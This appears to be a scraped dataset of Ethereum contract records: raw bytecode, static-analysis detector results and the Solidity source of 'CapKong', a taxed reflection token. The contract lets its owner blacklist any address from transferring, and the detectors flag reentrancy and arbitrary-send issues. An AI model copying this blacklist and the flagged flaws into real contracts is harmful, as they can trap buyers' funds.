040518115909202916000818181858888f1935050505015801561067d573d6000803e3d6000fd5b6000600d548211156112f25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e73000000000000000000000000000000000000000000006064820152608401610435565b60006112fc6116a8565b905061130881846120b8565b9392505050565b604080516002808252606082018352600092602083019080368337505060095482519293506001600160a01b03169183915060009061135057611350612169565b6001600160a01b03928316602091820292909201810191909152600754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156113bd57600080fd5b505afa1580156113d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f59190611dfb565b8160018151811061140857611408612169565b6001600160a01b03928316602091820292909201015260095460075461143392918216911684610b5c565b6007546009546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039283169263791ac947926114899287926000928892911690429060040161202f565b600060405180830381600087803b1580156114a357600080fd5b505af11580156114b7573d6000803e3d6000fd5b505050505050565b601180546aff0000000000000000000019166a010000000000000000000017905560006114ed6002836120b8565b905060006114fb82846120f9565b90506115068261130f565b600954600090611522906002906001600160a01b0316316120b8565b905061152d816111f3565b61153782826116cb565b60408051848152602081018390529081018390527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601180546aff00000000000000000000191690555050565b806115a6576115a66000600f819055601055565b6001600160a01b03841660009081526006602052604090205460ff1680156115e757506001600160a01b03831660009081526006602052604090205460ff16155b156115fc576115f78484846117d4565b6111ed565b6001600160a01b03841660009081526006602052604090205460ff1615801561163d57506001600160a01b03831660009081526006602052604090205460ff165b1561164d576115f78484846118fd565b6001600160a01b03841660009081526006602052604090205460ff16801561168d57506001600160a01b03831660009081526006602052604090205460ff165b1561169d576115f78484846119a9565b6111ed848484611a1e565b60008060006116b5611a63565b90925090506116c481836120b8565b9250505090565b6009546007546116e8916001600160a01b03908116911684610b5c565b6007546009546001600160a01b039182169163f305d71991849116856000806117196000546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561179457600080fd5b505af11580156117a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117cd9190611fac565b5050505050565b6000806000806000806117e687611c00565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118199088906120f9565b6001600160a01b038a166000908152600260209081526040808320939093556001905220546118499087906120f9565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546118799086906120a0565b6001600160a01b03891660009081526001602052604090205561189b81611c55565b6118a58483611cf3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ea91815260200190565b60405180910390a3505050505050505050565b60008060008060008061190f87611c00565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506119429087906120f9565b6001600160a01b03808b16600090815260016020908152604080832094909455918b168152600290915220546119799084906120a0565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546118799086906120a0565b6000806000806000806119bb87611c00565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ee9088906120f9565b6001600160a01b038a166000908152600260209081526040808320939093556001905220546119429087906120f9565b600080600080600080611a3087611c00565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506118499087906120f9565b600d546000908190683635c9adc5dea00000825b600854811015611bc257826001600060088481548110611a9957611a99612169565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611b045750816002600060088481548110611add57611add612169565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611b20575050600d5493683635c9adc5dea000009350915050565b6001600060088381548110611b3757611b37612169565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611b6690846120f9565b92506002600060088381548110611b7f57611b7f612169565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611bae90836120f9565b915080611bba81612110565b915050611a77565b50683635c9adc5dea00000600d54611bda91906120b8565b821015611bf7575050600d5492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611c1d8a600f54601054611d19565b9250925092506000806000611c3b8d8686611c366116a8565b611d77565b919f909e50909c50959a5093985091965092945050505050565b6000611c5f6116a8565b90506000611c6d82846120da565b6009546001600160a01b0316600090815260016020526040902054909150611c969082906120a0565b600980546001600160a01b039081166000908152600160209081526040808320959095559254909116815260029091522054611cd39084906120a0565b6009546001600160a01b0316600090815260026020526040902055505050565b81600d54611d0191906120f9565b600d55600e54611d129082906120a0565b600e555050565b60008080806064611d2a87896120da565b611d3491906120b8565b905060006064611d44878a6120da565b611d4e91906120b8565b9050600081611d5d848b6120f9565b611d6791906120f9565b9992985090965090945050505050565b6000808080611d8685896120da565b90506000611d9486896120da565b90506000611da287896120da565b9050600081611db184866120f9565b611dbb91906120f9565b939b939a50919850919650505050505050565b8035611dd981612195565b919050565b600060208284031215611df057600080fd5b813561130881612195565b600060208284031215611e0d57600080fd5b815161130881612195565b60008060408385031215611e2b57600080fd5b8235611e3681612195565b91506020830135611e4681612195565b809150509250929050565b600080600060608486031215611e6657600080fd5b8335611e7181612195565b92506020840135611e8181612195565b929592945050506040919091013590565b60008060408385031215611ea557600080fd5b8235611eb081612195565b946020939093013593505050565b60006020808385031215611ed157600080fd5b823567ffffffffffffffff80821115611ee957600080fd5b818501915085601f830112611efd57600080fd5b813581811115611f0f57611f0f61217f565b8060051b604051601f19603f83011681018181108582111715611f3457611f3461217f565b604052828152858101935084860182860187018a1015611f5357600080fd5b600095505b83861015611f7d57611f6981611dce565b855260019590950194938601938601611f58565b5098975050505050505050565b600060208284031215611f9c57600080fd5b8151801515811461130857600080fd5b600080600060608486031215611fc157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561200757858101830151858201604001528201611feb565b81811115612019576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561207f5784516001600160a01b03168352938301939183019160010161205a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120b3576120b3612153565b500190565b6000826120d557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120f4576120f4612153565b500290565b60008282101561210b5761210b612153565b500390565b600060001982141561212457612124612153565b5060010190565b600067ffffffffffffffff8083168181141561214957612149612153565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461049557600080fdfea2646970667358221220030864f4263eabc6d7fe51108b20665f69767f0de56827c761e4990418bfd05c64736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,906 |
0xDD3F7AAaC083091d67aC8ba647527b9c024b24E7
|
// SPDX-License-Identifier: MIT
/**
CAPKONG - Cap Kong
TG https://t.me/capkongtoken
Max Tx 100,000,000 (1%)
Total 10,000,000,000
Tax 10%
Slippage 40%
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CapKong is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cap Kong";
string private constant _symbol = "CAPKONG";
uint8 private constant _decimals = 8;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 100000000*10**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 3;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 3;
_feeAddr2 = 7;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function liftMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80637d1db4a5116100a05780639c0db5f3116100645780639c0db5f3146102fa578063a9059cbb1461031a578063c3c8cd801461033a578063dd62ed3e1461034f578063e8078d941461039557600080fd5b80637d1db4a5146102575780638a8c523c1461026d5780638da5cb5b1461028257806395d89b41146102aa57806398d24403146102da57600080fd5b8063313ce567116100e7578063313ce567146101da57806339c96774146101f65780636fc3eaec1461020d57806370a0823114610222578063715018a61461024257600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526008815267436170204b6f6e6760c01b60208201525b60405161015e91906115b6565b60405180910390f35b34801561017357600080fd5b50610187610182366004611630565b6103aa565b604051901515815260200161015e565b3480156101a357600080fd5b506101ac6103c1565b60405190815260200161015e565b3480156101c657600080fd5b506101876101d536600461165c565b6103e3565b3480156101e657600080fd5b506040516008815260200161015e565b34801561020257600080fd5b5061020b61044c565b005b34801561021957600080fd5b5061020b61062f565b34801561022e57600080fd5b506101ac61023d36600461169d565b61063a565b34801561024e57600080fd5b5061020b61065c565b34801561026357600080fd5b506101ac600e5481565b34801561027957600080fd5b5061020b6106d0565b34801561028e57600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102b657600080fd5b506040805180820190915260078152664341504b4f4e4760c81b6020820152610151565b3480156102e657600080fd5b5061020b6102f53660046116ba565b61070f565b34801561030657600080fd5b5061020b610315366004611702565b6107b1565b34801561032657600080fd5b50610187610335366004611630565b610905565b34801561034657600080fd5b5061020b610912565b34801561035b57600080fd5b506101ac61036a3660046117d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a157600080fd5b5061020b610923565b60006103b7338484610a9d565b5060015b92915050565b60006103cf6008600a61190c565b6103de906402540be40061191b565b905090565b60006103f0848484610bc1565b610442843361043d85604051806060016040528060288152602001611ac9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e99565b610a9d565b5060019392505050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b81526004016104769061193a565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c830826104b96008600a61190c565b61043d906402540be40061191b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052a919061196f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059b919061196f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c919061196f565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063847610ed3565b565b6001600160a01b0381166000908152600260205260408120546103bb90610f11565b6000546001600160a01b031633146106865760405162461bcd60e51b81526004016104769061193a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106fa5760405162461bcd60e51b81526004016104769061193a565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107395760405162461bcd60e51b81526004016104769061193a565b6001811161074657600080fd5b61077660646107708361075b6008600a61190c565b61076a906402540be40061191b565b90610f95565b90611017565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016104769061193a565b60005b825181101561090057600c5483516001600160a01b039091169084908390811061080a5761080a61198c565b60200260200101516001600160a01b03161415801561085b5750600d5483516001600160a01b03909116908490839081106108475761084761198c565b60200260200101516001600160a01b031614155b80156108925750306001600160a01b031683828151811061087e5761087e61198c565b60200260200101516001600160a01b031614155b156108ee5781600660008584815181106108ae576108ae61198c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108f8816119a2565b9150506107de565b505050565b60006103b7338484610bc1565b61063861091e3061063a565b611059565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016104769061193a565b600c546001600160a01b031663f305d71947306109698161063a565b60008061097e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0b91906119bb565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9a91906119e9565b50565b6001600160a01b038316610aff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610b605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610c875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610ce95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b6001600160a01b03831660009081526006602052604090205460ff1615610d0f57600080fd5b60036009556007600a556000546001600160a01b03848116911614801590610d4557506000546001600160a01b03838116911614155b15610e8e57600d546001600160a01b038481169116148015610d755750600c546001600160a01b03838116911614155b8015610d9a57506001600160a01b03821660009081526005602052604090205460ff16155b15610dc457600e54811115610dae57600080fd5b600d54600160a01b900460ff16610dc457600080fd5b600c546001600160a01b03848116911614801590610dfb57506001600160a01b03831660009081526005602052604090205460ff16155b15610e2157600d546001600160a01b0390811690831603610e215760036009556007600a555b6000610e2c3061063a565b600d54909150600160a81b900460ff16158015610e575750600d546001600160a01b03858116911614155b8015610e6c5750600d54600160b01b900460ff165b15610e8c57610e7a81611059565b478015610e8a57610e8a47610ed3565b505b505b6109008383836111d3565b60008184841115610ebd5760405162461bcd60e51b815260040161047691906115b6565b506000610eca8486611a06565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f0d573d6000803e3d6000fd5b5050565b6000600754821115610f785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b6000610f826111de565b9050610f8e8382611017565b9392505050565b600082600003610fa7575060006103bb565b6000610fb3838561191b565b905082610fc08583611a1d565b14610f8e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b6000610f8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611201565b600d805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a1576110a161198c565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061196f565b816001815181106111315761113161198c565b6001600160a01b039283166020918202929092010152600c546111579130911684610a9d565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611a3f565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b61090083838361122f565b60008060006111eb611326565b90925090506111fa8282611017565b9250505090565b600081836112225760405162461bcd60e51b815260040161047691906115b6565b506000610eca8486611a1d565b600080600080600080611241876113ab565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112739087611408565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a2908661144a565b6001600160a01b0389166000908152600260205260409020556112c4816114a9565b6112ce84836114f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131391815260200190565b60405180910390a3505050505050505050565b60075460009081908161133b6008600a61190c565b61134a906402540be40061191b565b905061137361135b6008600a61190c565b61136a906402540be40061191b565b60075490611017565b8210156113a2576007546113896008600a61190c565b611398906402540be40061191b565b9350935050509091565b90939092509050565b60008060008060008060008060006113c88a600954600a54611517565b92509250925060006113d86111de565b905060008060006113eb8e878787611566565b919e509c509a509598509396509194505050505091939550919395565b6000610f8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e99565b6000806114578385611ab0565b905083811015610f8e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006114b36111de565b905060006114c18383610f95565b306000908152600260205260409020549091506114de908261144a565b30600090815260026020526040902055505050565b6007546115009083611408565b600755600854611510908261144a565b6008555050565b600080808061152b60646107708989610f95565b9050600061153e60646107708a89610f95565b90506000611556826115508b86611408565b90611408565b9992985090965090945050505050565b60008080806115758886610f95565b905060006115838887610f95565b905060006115918888610f95565b905060006115a3826115508686611408565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e3578581018301518582016040015282016115c7565b818111156115f5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9a57600080fd5b803561162b8161160b565b919050565b6000806040838503121561164357600080fd5b823561164e8161160b565b946020939093013593505050565b60008060006060848603121561167157600080fd5b833561167c8161160b565b9250602084013561168c8161160b565b929592945050506040919091013590565b6000602082840312156116af57600080fd5b8135610f8e8161160b565b6000602082840312156116cc57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9a57600080fd5b803561162b816116e9565b6000806040838503121561171557600080fd5b823567ffffffffffffffff8082111561172d57600080fd5b818501915085601f83011261174157600080fd5b8135602082821115611755576117556116d3565b8160051b604051601f19603f8301168101818110868211171561177a5761177a6116d3565b60405292835281830193508481018201928984111561179857600080fd5b948201945b838610156117bd576117ae86611620565b8552948201949382019361179d565b96506117cc90508782016116f7565b9450505050509250929050565b600080604083850312156117ec57600080fd5b82356117f78161160b565b915060208301356118078161160b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186357816000190482111561184957611849611812565b8085161561185657918102915b93841c939080029061182d565b509250929050565b60008261187a575060016103bb565b81611887575060006103bb565b816001811461189d57600281146118a7576118c3565b60019150506103bb565b60ff8411156118b8576118b8611812565b50506001821b6103bb565b5060208310610133831016604e8410600b84101617156118e6575081810a6103bb565b6118f08383611828565b806000190482111561190457611904611812565b029392505050565b6000610f8e60ff84168361186b565b600081600019048311821515161561193557611935611812565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561198157600080fd5b8151610f8e8161160b565b634e487b7160e01b600052603260045260246000fd5b6000600182016119b4576119b4611812565b5060010190565b6000806000606084860312156119d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119fb57600080fd5b8151610f8e816116e9565b600082821015611a1857611a18611812565b500390565b600082611a3a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8f5784516001600160a01b031683529383019391830191600101611a6a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ac357611ac3611812565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7a6890963cb646e31503dcd2e42a2ee2a572507ac17f78746f0968fbddaa8e564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,907 |
0x17ee88858d00feeb3a2c3df5bc6880eb91cdf803
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
